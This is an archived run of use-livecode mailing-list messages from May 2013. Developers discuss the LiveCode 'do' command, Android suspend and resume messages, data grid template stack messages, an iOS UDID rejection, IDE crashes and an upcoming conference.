<1367941984039-4664371.post@n4.nabble.com> <51892482.2090401@gmail.com> <00a501ce4b68$f71c6bc0$e5554340$@net> Message-ID: <51898CB4.9040206@hyperactivesw.com> On 5/7/13 4:22 PM, Ralph DiMola wrote: > As long as protests are in play. First of all.... > > GAY = quod erat demonstrandum > > I object to GAY. This should be reserved for Jacque. You know, when you get > one of those "Believe me on this one" code gems. > quod erat demonstrandum can just use [QED] I was wondering if he meant me, or if he meant something else. At any rate, something undetermined has been demonstrated. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Tue May 7 19:23:55 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 07 May 2013 18:23:55 -0500 Subject: Beginners questions subject headers In-Reply-To: References: <5188E6F0.6020908@gmail.com> <51893925.1050607@hyperactivesw.com> Message-ID: <51898D0B.1010200@hyperactivesw.com> On 5/7/13 3:13 PM, Dr. Hawkins wrote: > On Tue, May 7, 2013 at 10:25 AM, J. Landman Gay > wrote: >>> >>> An ill behaved app went back and removed it before it was invented, >>> obliterating the inventor from history. >> >> >> I beg your pardon, rumors of my demise are greatly exaggerated. Or they will be. Of course, there's >> always the possibility I skimmed over that event. I did end up in the Jurassic once, but that's not really >> obliteration, it's more like pre-cognition with physicality. > > And now, folks, a moment of silence for Jacque, as we cherish his last > pre-obliteration message. I have a primer on pronoun usage. :) -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From shawnlivecode at gmail.com Tue May 7 19:24:46 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Tue, 7 May 2013 18:24:46 -0500 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: <51898C4A.7020105@hyperactivesw.com> References: <51896CFE.10102@hyperactivesw.com> <51898C4A.7020105@hyperactivesw.com> Message-ID: I'll do that with the next crash and post the bug report# On Tue, May 7, 2013 at 6:20 PM, J. Landman Gay wrote: > On 5/7/13 4:36 PM, Shawn Blc wrote: > >> By the way ... I'm on a MAC, running OSX 10.8.3, 16 GB memory. >> > > Mac OS X 10.7.5 here. > > If you open a bug report and upload your crash log, I'll add my hang log > to it too. Maybe the team can find something in common. > > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From pete at lcsql.com Tue May 7 19:24:48 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 7 May 2013 16:24:48 -0700 Subject: [BEGINNER] hilitedButtonName and hilitedButtonLabel In-Reply-To: <50E1DB98-1CB2-41D9-A05C-0B1708D90B05@unil.ch> References: <50E1DB98-1CB2-41D9-A05C-0B1708D90B05@unil.ch> Message-ID: On Tue, May 7, 2013 at 3:03 PM, Jacques Hausser wrote: > the hilitedButtonName is a recognized property - the hilitedButtonLabel > apparently doesn't exist. One day, maybe someone (other than Alex Tweedly and his explicitProperties plugin) can come up with a workable way to trap references to custom properties that don't exist. Pete lcSQL Software From jacque at hyperactivesw.com Tue May 7 19:28:46 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 07 May 2013 18:28:46 -0500 Subject: Comment about "do" (was clickLine/clickcharchunk) In-Reply-To: <8D01987E3F9893B-1FDC-1A06F@webmail-vm014.sysops.aol.com> References: <8D01987E3F9893B-1FDC-1A06F@webmail-vm014.sysops.aol.com> Message-ID: <51898E2E.1010800@hyperactivesw.com> On 5/7/13 5:18 PM, dunbarx at aol.com wrote: -- put random(99) into it --does not work, though it seems like it should Well, that would just load the variable "it", same as "put random(99) into var" would. > "Do" has a bad rep. It does not deserve it. Sometimes there's no choice, but I avoid it whenever possible because it slows things down. The compiler has to load every time you use it. Same with "value". -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Tue May 7 19:30:38 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 07 May 2013 18:30:38 -0500 Subject: automated iOS rejection: Non-public API usage In-Reply-To: <5F4B1D69-6974-40DB-ABEC-F2F25452581E@elementarysoftware.com> References: <5F4B1D69-6974-40DB-ABEC-F2F25452581E@elementarysoftware.com> Message-ID: <51898E9E.4030803@hyperactivesw.com> On 5/7/13 3:45 AM, Scott Morrow wrote: > When submitting an app for iOS the Application Loader completes > successfully but shortly an email from Apple arrives explaining that > the binary is invalid because: > > ----------------------------------------- Non-public API usage: > > ? Apps are not permitted to access the UDID I wonder if this is in the engine. There are calls that allow us to get that info. If so, RR needs to remove those, and a bug report about it would be in order. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Tue May 7 19:34:39 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 07 May 2013 18:34:39 -0500 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: References: <51896CFE.10102@hyperactivesw.com> <51898C4A.7020105@hyperactivesw.com> Message-ID: <51898F8F.602@hyperactivesw.com> Sounds like you have enough logs already. :) Do post the number though, and I'll add what I can. Thanks. On 5/7/13 6:24 PM, Shawn Blc wrote: > I'll do that with the next crash and post the bug report# > > > On Tue, May 7, 2013 at 6:20 PM, J. Landman Gay wrote: > >> On 5/7/13 4:36 PM, Shawn Blc wrote: >> >>> By the way ... I'm on a MAC, running OSX 10.8.3, 16 GB memory. >>> >> >> Mac OS X 10.7.5 here. >> >> If you open a bug report and upload your crash log, I'll add my hang log >> to it too. Maybe the team can find something in common. >> >> >> -- >> Jacqueline Landman Gay | jacque at hyperactivesw.com >> HyperActive Software | http://www.hyperactivesw.com >> -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From rjb at robelko.com Tue May 7 19:26:36 2013 From: rjb at robelko.com (Robert Brenstein) Date: Wed, 8 May 2013 01:26:36 +0200 Subject: Beginners questions subject headers In-Reply-To: References: <5188E6F0.6020908@gmail.com> <51893925.1050607@hyperactivesw.com> Message-ID: On 07.05.2013 at 13:13 Uhr -0700 Dr. Hawkins apparently wrote: > >And now, folks, a moment of silence for Jacque, as we cherish his last >pre-obliteration message. > You mean her. Or was she he in the future? robert From terry.judd at unimelb.edu.au Tue May 7 19:51:06 2013 From: terry.judd at unimelb.edu.au (Terry Judd) Date: Tue, 7 May 2013 23:51:06 +0000 Subject: suspend/resume messages on Android? In-Reply-To: <51898A16.7080307@hyperactivesw.com> References: <0B06C1C8-51FE-46EC-A3B8-9C9F2BFE9CFF@unimelb.edu.au>, <5189494D.2060603@hyperactivesw.com> <51898A16.7080307@hyperactivesw.com> Message-ID: <2C9EDB55-F7E8-4708-9C51-9F44E34F1EB1@unimelb.edu.au> On 08/05/2013, at 09:11 AM, J. Landman Gay wrote: > On 5/7/13 4:35 PM, Terry Judd wrote: > >> Thanks Jacque - looks like this is going to be more complicated than >> I'd like. If only the resume message was also sent. > > A resume message would be nice. I think you'll get an opencard though (but I can't remember.) OK - that would be really useful - I'm off to have a look. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > Dr Terry Judd Senior Lecturer in Medical Education Medical Eduction Unit Faculty of Medicine, Dentistry & Health Sciences The University of Melbourne From dunbarx at aol.com Tue May 7 20:06:53 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Tue, 7 May 2013 20:06:53 -0400 (EDT) Subject: Comment about "do" (was clickLine/clickcharchunk) In-Reply-To: <51898E2E.1010800@hyperactivesw.com> References: <8D01987E3F9893B-1FDC-1A06F@webmail-vm014.sysops.aol.com> <51898E2E.1010800@hyperactivesw.com> Message-ID: <8D01997146852BA-D6C-1B7DD@webmail-d213.sysops.aol.com> Jacque. Hi. We have been so spoiled that we (I?) mentally parse and evaluate the second line in: get the clickLine put random(99) into it as: put random(99) into line 3 of fld 4 -- or whatever. Simple, no? But you know this will not compute. Danny Goodman once said that he was unsure where the disconnect took place. He just said (paraphrased) "...when it seems like the code ought to work, but doesn't, try a "do" construction..." He simply meant that sometimes an extra level of evaluation was required for the parser to process the code in the way the user desired. And this is from HC v.1x. When I first started with LC, one of the first things I tried was to see if something like the first construction above processed "like it should". I think I tested "the foundField". I was astonished that it did not. Is there is something deeply ingrained in the way this type (all types?) of parsers work that it can not do this? -----Original Message----- From: J. Landman Gay To: How to use LiveCode Sent: Tue, May 7, 2013 7:29 pm Subject: Re: Comment about "do" (was clickLine/clickcharchunk) On 5/7/13 5:18 PM, dunbarx at aol.com wrote: -- put random(99) into it --does not work, though it seems like it should Well, that would just load the variable "it", same as "put random(99) into var" would. > "Do" has a bad rep. It does not deserve it. Sometimes there's no choice, but I avoid it whenever possible because it slows things down. The compiler has to load every time you use it. Same with "value". -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From gerry.orkin at gmail.com Tue May 7 20:58:21 2013 From: gerry.orkin at gmail.com (Gerry Orkin) Date: Wed, 8 May 2013 10:58:21 +1000 Subject: Data Grid Template stack triggers messages in main stack Message-ID: Whenever I open or close the data grid template stack in a particular stack in the IDE the openstack and closestack messages in the main stack get triggered. I've used data grids in a few stacks but haven't seen that behaviour before LC 6.0.1. What's the deal? Cheers Gerry From dochawk at gmail.com Tue May 7 20:59:41 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Tue, 7 May 2013 17:59:41 -0700 Subject: Comment about "do" (was clickLine/clickcharchunk) In-Reply-To: <51898E2E.1010800@hyperactivesw.com> References: <8D01987E3F9893B-1FDC-1A06F@webmail-vm014.sysops.aol.com> <51898E2E.1010800@hyperactivesw.com> Message-ID: On Tue, May 7, 2013 at 4:28 PM, J. Landman Gay wrote: > > Sometimes there's no choice, but I avoid it whenever possible because it > slows things down. The compiler has to load every time you use it. Same with > "value". I have a single do in this massive project. Without this one line, I think that the entire thing could be compiled rather than JIT (neglecting, for the moment, the lack of existence of such a compiler . . .) -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dochawk at gmail.com Tue May 7 21:02:30 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Tue, 7 May 2013 18:02:30 -0700 Subject: Beginners questions subject headers In-Reply-To: References: <5188E6F0.6020908@gmail.com> <51893925.1050607@hyperactivesw.com> Message-ID: On Tue, May 7, 2013 at 4:26 PM, Robert Brenstein wrote: > You mean her. Or was she he in the future? Gosh, until seeing her message, I thought this was a Heinlein reference . . . -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dochawk at gmail.com Tue May 7 21:04:06 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Tue, 7 May 2013 18:04:06 -0700 Subject: Beginners questions subject headers In-Reply-To: <51898D0B.1010200@hyperactivesw.com> References: <5188E6F0.6020908@gmail.com> <51893925.1050607@hyperactivesw.com> <51898D0B.1010200@hyperactivesw.com> Message-ID: On Tue, May 7, 2013 at 4:23 PM, J. Landman Gay wrote: > I have a primer on pronoun usage. :) > > Whoops! My apologies. I recently had to file a motion in bankruptcy court over a computer that had "Francis" rather than "Frances" . . . a couple of years into the case, the clerk started objecting to filings for getting her name correct. "Counsel, I'll grant your order, but good luck on getting the computer to accept it . . .: -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From rdimola at evergreeninfo.net Tue May 7 21:07:39 2013 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Tue, 7 May 2013 21:07:39 -0400 Subject: [TG][PRO] tags In-Reply-To: <51898CB4.9040206@hyperactivesw.com> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892482.2090401@gmail.com> <00a501ce4b68$f71c6bc0$e5554340$@net> <51898CB4.9040206@hyperactivesw.com> Message-ID: <00b101ce4b88$6fc4b180$4f4e1480$@net> Jacqueline, Yes you! I use various incarnations your code gems all the time. Thanks! I'm getting itchy for RR13. Ralph DiMola IT Director Evergreen Information Services rdimola at evergreeninfo.net -----Original Message----- From: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] On Behalf Of J. Landman Gay Sent: Tuesday, May 07, 2013 7:22 PM To: How to use LiveCode Subject: Re: [TG][PRO] tags On 5/7/13 4:22 PM, Ralph DiMola wrote: > As long as protests are in play. First of all.... > > GAY = quod erat demonstrandum > > I object to GAY. This should be reserved for Jacque. You know, when > you get one of those "Believe me on this one" code gems. > quod erat demonstrandum can just use [QED] I was wondering if he meant me, or if he meant something else. At any rate, something undetermined has been demonstrated. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Tue May 7 21:28:34 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 7 May 2013 18:28:34 -0700 Subject: [TG][PRO] tags In-Reply-To: <00b101ce4b88$6fc4b180$4f4e1480$@net> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892482.2090401@gmail.com> <00a501ce4b68$f71c6bc0$e5554340$@net> <51898CB4.9040206@hyperactivesw.com> <00b101ce4b88$6fc4b180$4f4e1480$@net> Message-ID: <199333252261.20130507182834@ahsoftware.net> Ralph- Tuesday, May 7, 2013, 6:07:39 PM, you wrote: > I'm getting itchy for RR13. Yikes! Just don't spread it around... -- -Mark Wieder mwieder at ahsoftware.net From mwieder at ahsoftware.net Tue May 7 21:29:37 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 7 May 2013 18:29:37 -0700 Subject: [TG][PRO] tags In-Reply-To: References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892482.2090401@gmail.com> <00a501ce4b68$f71c6bc0$e5554340$@net> Message-ID: <153333315424.20130507182937@ahsoftware.net> Pete- Tuesday, May 7, 2013, 3:20:29 PM, you wrote: > [PROTEST]? It's the opposite of [CONTEST]. Kind of like [PROGRESS]. -- -Mark Wieder mwieder at ahsoftware.net From terry.judd at unimelb.edu.au Tue May 7 21:29:37 2013 From: terry.judd at unimelb.edu.au (Terry Judd) Date: Wed, 8 May 2013 01:29:37 +0000 Subject: suspend/resume messages on Android? In-Reply-To: <2C9EDB55-F7E8-4708-9C51-9F44E34F1EB1@unimelb.edu.au> References: <0B06C1C8-51FE-46EC-A3B8-9C9F2BFE9CFF@unimelb.edu.au>, <5189494D.2060603@hyperactivesw.com> <51898A16.7080307@hyperactivesw.com> <2C9EDB55-F7E8-4708-9C51-9F44E34F1EB1@unimelb.edu.au> Message-ID: Hi Jacque (or anyone else?) - I may have misunderstood but I'm not getting any messages sent when an app is 'suspended' and 'resumed' on Android (4.2.2). No shutdown message on 'suspend' and no opencard message on 'resume'. Does the shutdown message only get sent when the app 'quits' (when imposed by the OS or the user)? Looks like I may have to resort to using timers and activity monitoring ;( Terry... On 08/05/2013, at 09:51 AM, Terry Judd wrote: > > On 08/05/2013, at 09:11 AM, J. Landman Gay wrote: > >> On 5/7/13 4:35 PM, Terry Judd wrote: >> >>> Thanks Jacque - looks like this is going to be more complicated than >>> I'd like. If only the resume message was also sent. >> >> A resume message would be nice. I think you'll get an opencard though (but I can't remember.) > > OK - that would be really useful - I'm off to have a look. >> >> -- >> Jacqueline Landman Gay | jacque at hyperactivesw.com >> HyperActive Software | http://www.hyperactivesw.com >> Dr Terry Judd Senior Lecturer in Medical Education Medical Eduction Unit Faculty of Medicine, Dentistry & Health Sciences The University of Melbourne From mwieder at ahsoftware.net Tue May 7 21:40:02 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 7 May 2013 18:40:02 -0700 Subject: Beginners questions subject headers In-Reply-To: <51892C07.1010604@warrensweb.us> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> Message-ID: <90333940445.20130507184002@ahsoftware.net> Warren- Tuesday, May 7, 2013, 9:29:59 AM, you wrote: >> I wonder how the patent office could sort out who invented or registered the >> time warp > It was probably a drummer. 1. LOL 2. Drummer than what? -- -Mark Wieder mwieder at ahsoftware.net From dochawk at gmail.com Tue May 7 22:06:35 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Tue, 7 May 2013 19:06:35 -0700 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: References: <51896CFE.10102@hyperactivesw.com> Message-ID: On Tue, May 7, 2013 at 2:50 PM, Shawn Blc wrote: > On Tue, May 7, 2013 at 4:40 PM, Dr. Hawkins wrote: >> Gosh, the crashes (particularly when trying to close/quit) are so >> common that I barely notice them. > There's a wise guy in every group. ;) __ d d "For cryin' out loud, there's one in every crowd-- how come it's always turning out to be me? But in this case, I was actually being serious. Hanging while attempting to quit the IDE is so common I barely notice when I force quit; it's been this way since I started last year. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From andrew at ctech.me Tue May 7 22:08:27 2013 From: andrew at ctech.me (Andrew Kluthe) Date: Tue, 7 May 2013 21:08:27 -0500 Subject: Data Grid Template stack triggers messages in main stack In-Reply-To: References: Message-ID: Do you have any handlers for these in your data grid? Is your datagrid on more than 1 card? On Tue, May 7, 2013 at 7:58 PM, Gerry Orkin wrote: > Whenever I open or close the data grid template stack in a particular > stack in the IDE the openstack and closestack messages in the main stack > get triggered. I've used data grids in a few stacks but haven't seen that > behaviour before LC 6.0.1. > > What's the deal? > > Cheers > > Gerry > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Regards, Andrew Kluthe andrew at ctech.me From gerry.orkin at gmail.com Tue May 7 22:14:08 2013 From: gerry.orkin at gmail.com (Gerry Orkin) Date: Tue, 07 May 2013 19:14:08 -0700 (PDT) Subject: Data Grid Template stack triggers messages in main stack In-Reply-To: References: Message-ID: <1367979248073.7404eec6@Nodemailer> No and no :) Gerry On Wed, May 8, 2013 at 12:09 PM, Andrew Kluthe wrote: > Do you have any handlers for these in your data grid? Is your datagrid on > more than 1 card? > On Tue, May 7, 2013 at 7:58 PM, Gerry Orkin wrote: >> Whenever I open or close the data grid template stack in a particular >> stack in the IDE the openstack and closestack messages in the main stack >> get triggered. I've used data grids in a few stacks but haven't seen that >> behaviour before LC 6.0.1. >> >> What's the deal? >> >> Cheers >> >> Gerry >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > -- > Regards, > Andrew Kluthe > andrew at ctech.me > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bonnmike at gmail.com Tue May 7 22:21:23 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Tue, 7 May 2013 20:21:23 -0600 Subject: Data Grid Template stack triggers messages in main stack In-Reply-To: <1367979248073.7404eec6@Nodemailer> References: <1367979248073.7404eec6@Nodemailer> Message-ID: Since the datagrid template stacks are substacks if there are no handlers to "catch" openstack closestack in the grid template stacks they go up the message path to the main stack where they are "handled" by the openstack /closestack in the stackscript. To stop this you could put an empty openstack/close stack in the template stack, or put in a check against the target to make sure you actually want the script to run, or you can move them to the first card in the main stack (the card that is open first when the app starts) so that when a substack causes an openstack/closestack there are no handlers in the stack script to respond to the message. If I recall correctly, when the message passes from the substack to the mainstack it is handed to the stack not the card. On Tue, May 7, 2013 at 8:14 PM, Gerry Orkin wrote: > No and no :) > > > Gerry > > On Wed, May 8, 2013 at 12:09 PM, Andrew Kluthe wrote: > > > Do you have any handlers for these in your data grid? Is your datagrid on > > more than 1 card? > > On Tue, May 7, 2013 at 7:58 PM, Gerry Orkin > wrote: > >> Whenever I open or close the data grid template stack in a particular > >> stack in the IDE the openstack and closestack messages in the main stack > >> get triggered. I've used data grids in a few stacks but haven't seen > that > >> behaviour before LC 6.0.1. > >> > >> What's the deal? > >> > >> Cheers > >> > >> Gerry > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > >> subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > > -- > > Regards, > > Andrew Kluthe > > andrew at ctech.me > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From coiin at verizon.net Tue May 7 22:24:08 2013 From: coiin at verizon.net (Colin Holgate) Date: Tue, 07 May 2013 22:24:08 -0400 Subject: US at conference? Message-ID: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> I'll be at the conference next week, but then I can justify the trip because I can visit my family in England before and after Scotland. I was curious though, how many of the people that made it to San Jose and Atlantic City will also be there next week? From ambassador at fourthworld.com Tue May 7 22:29:06 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Tue, 07 May 2013 19:29:06 -0700 Subject: Comment about "do" (was clickLine/clickcharchunk) Message-ID: <5189B872.6060509@fourthworld.com> dunbarx wrote: > Danny Goodman once said that he was unsure where the disconnect took > place. He just said (paraphrased) "...when it seems like the code > ought to work, but doesn't, try a "do" construction..." Ah, but Danny's moved on to JavaScript; he didn't stick around in the xTalk world long enough to appreciate one of LiveCode's many unique charms: Almost every object that can act as a container has a text property, so we don't need to bother with the odd ambiguities the HyperCard team were enamored of by sometimes treating object references as objects and other times as containers, instead allowing us to enjoy the consistency of property-driven syntax. So instead of problematic expressions like: put the focusedObject into tObject put resDate into tObject ..or the complex concatenated "do" form: do "put" && quote & resdate & quote && "into" && tObject ...we can simply write with confidence: set the text of tObject to resDate the "do" command still has a place in LiveCode, but it's much less frequently-needed than in HyperTalk. -- Richard Gaskin Fourth World Systems Software Design and Development for Desktop, Mobile, and Web ____________________________________________________________ Ambassador at FourthWorld.com http://www.FourthWorld.com From mwieder at ahsoftware.net Tue May 7 22:29:07 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 7 May 2013 19:29:07 -0700 Subject: [ANN] simple publisher/subscriber library for LiveCode In-Reply-To: References: <70CF64EB-1D07-4933-9513-BF978377ED75@mac.com> <8AF36F4D-2842-402F-A5BD-A7685A921D36@mac.com> <5187FB19.4000506@tweedly.net> Message-ID: <186336884932.20130507192907@ahsoftware.net> OK - The Publish-and-Subscribe stack has been uploaded to revOnline. Andre - we should combine the features into a single library to avoid confusion. Sheesh - it took me three tries to spell "confusion"... it's been a long day. -- -Mark Wieder mwieder at ahsoftware.net From skip at magicgate.com Tue May 7 22:32:07 2013 From: skip at magicgate.com (Magicgate Software - Skip Kimpel) Date: Tue, 7 May 2013 22:32:07 -0400 Subject: US at conference? In-Reply-To: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> Message-ID: Wish I was going to be there.... Schedule just won't permit it. Have fun everybody! On Tue, May 7, 2013 at 10:24 PM, Colin Holgate wrote: > I'll be at the conference next week, but then I can justify the trip > because I can visit my family in England before and after Scotland. I was > curious though, how many of the people that made it to San Jose and > Atlantic City will also be there next week? > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From mwieder at ahsoftware.net Tue May 7 22:35:04 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 7 May 2013 19:35:04 -0700 Subject: US at conference? In-Reply-To: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> Message-ID: <1337241978.20130507193504@ahsoftware.net> Colin- Tuesday, May 7, 2013, 7:24:08 PM, you wrote: > I'll be at the conference next week, but then I can justify the > trip because I can visit my family in England before and after > Scotland. I was curious though, how many of the people that made it > to San Jose and Atlantic City will also be there next week? Most of them, I'd imagine. Once you get the bug, it's hard to shake. But it's true that it's a lot easier (in both money and logistics) for folks in Europe to get to Edinburgh than to the US, and vice versa. We'll be arriving Sunday evening. -- -Mark Wieder mwieder at ahsoftware.net From andre at andregarzia.com Tue May 7 22:36:26 2013 From: andre at andregarzia.com (Andre Garzia) Date: Tue, 7 May 2013 23:36:26 -0300 Subject: [ANN] simple publisher/subscriber library for LiveCode In-Reply-To: <186336884932.20130507192907@ahsoftware.net> References: <70CF64EB-1D07-4933-9513-BF978377ED75@mac.com> <8AF36F4D-2842-402F-A5BD-A7685A921D36@mac.com> <5187FB19.4000506@tweedly.net> <186336884932.20130507192907@ahsoftware.net> Message-ID: On Tue, May 7, 2013 at 11:29 PM, Mark Wieder wrote: > OK - The Publish-and-Subscribe stack has been uploaded to revOnline. > Andre - we should combine the features into a single library to avoid > confusion. > [image: Inline image 1] Yes we should execute a dragon ball like fusion of the two libraries!!! :-D What about a github repo for it? -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From andre at andregarzia.com Tue May 7 22:37:30 2013 From: andre at andregarzia.com (Andre Garzia) Date: Tue, 7 May 2013 23:37:30 -0300 Subject: US at conference? In-Reply-To: <1337241978.20130507193504@ahsoftware.net> References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <1337241978.20130507193504@ahsoftware.net> Message-ID: I am going! I arrive on the 12th :-D On Tue, May 7, 2013 at 11:35 PM, Mark Wieder wrote: > Colin- > > Tuesday, May 7, 2013, 7:24:08 PM, you wrote: > > > I'll be at the conference next week, but then I can justify the > > trip because I can visit my family in England before and after > > Scotland. I was curious though, how many of the people that made it > > to San Jose and Atlantic City will also be there next week? > > Most of them, I'd imagine. Once you get the bug, it's hard to shake. > But it's true that it's a lot easier (in both money and logistics) for > folks in Europe to get to Edinburgh than to the US, and vice versa. > We'll be arriving Sunday evening. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From jacque at hyperactivesw.com Tue May 7 22:39:01 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 07 May 2013 21:39:01 -0500 Subject: Beginners questions subject headers In-Reply-To: References: <5188E6F0.6020908@gmail.com> <51893925.1050607@hyperactivesw.com> <51898D0B.1010200@hyperactivesw.com> Message-ID: <5189BAC5.8030509@hyperactivesw.com> On 5/7/13 8:04 PM, Dr. Hawkins wrote: > On Tue, May 7, 2013 at 4:23 PM, J. Landman Gay wrote: >> I have a primer on pronoun usage. :) >> >> > > Whoops! > > My apologies. Not at all. This is nothing compared to what Jan Schenkel goes through. :) > > I recently had to file a motion in bankruptcy court over a computer > that had "Francis" rather than "Frances" . . . a couple of years into > the case, the clerk started objecting to filings for getting her name > correct. > > "Counsel, I'll grant your order, but good luck on getting the computer > to accept it . . .: :) I understand completely. Comcast thinks my name is Landmangay. It's amusing to hear their telemarketers try to pronounce it. The reason it's that way in the database is because they can't put a space into the last_name field and they only get two fields. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From rdimola at evergreeninfo.net Tue May 7 22:44:15 2013 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Tue, 7 May 2013 22:44:15 -0400 Subject: US at conference? In-Reply-To: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> Message-ID: <00b501ce4b95$ee5066e0$caf134a0$@net> I'm in. We arrive the 11th. Leave the 19th. Ralph DiMola IT Director Evergreen Information Services rdimola at evergreeninfo.net -----Original Message----- From: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] On Behalf Of Colin Holgate Sent: Tuesday, May 07, 2013 10:24 PM To: How to use LiveCode Subject: US at conference? I'll be at the conference next week, but then I can justify the trip because I can visit my family in England before and after Scotland. I was curious though, how many of the people that made it to San Jose and Atlantic City will also be there next week? _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Tue May 7 22:43:45 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 7 May 2013 19:43:45 -0700 Subject: Beginners questions subject headers In-Reply-To: <5189BAC5.8030509@hyperactivesw.com> References: <5188E6F0.6020908@gmail.com> <51893925.1050607@hyperactivesw.com> <51898D0B.1010200@hyperactivesw.com> <5189BAC5.8030509@hyperactivesw.com> Message-ID: <63337763266.20130507194345@ahsoftware.net> Jacque- Tuesday, 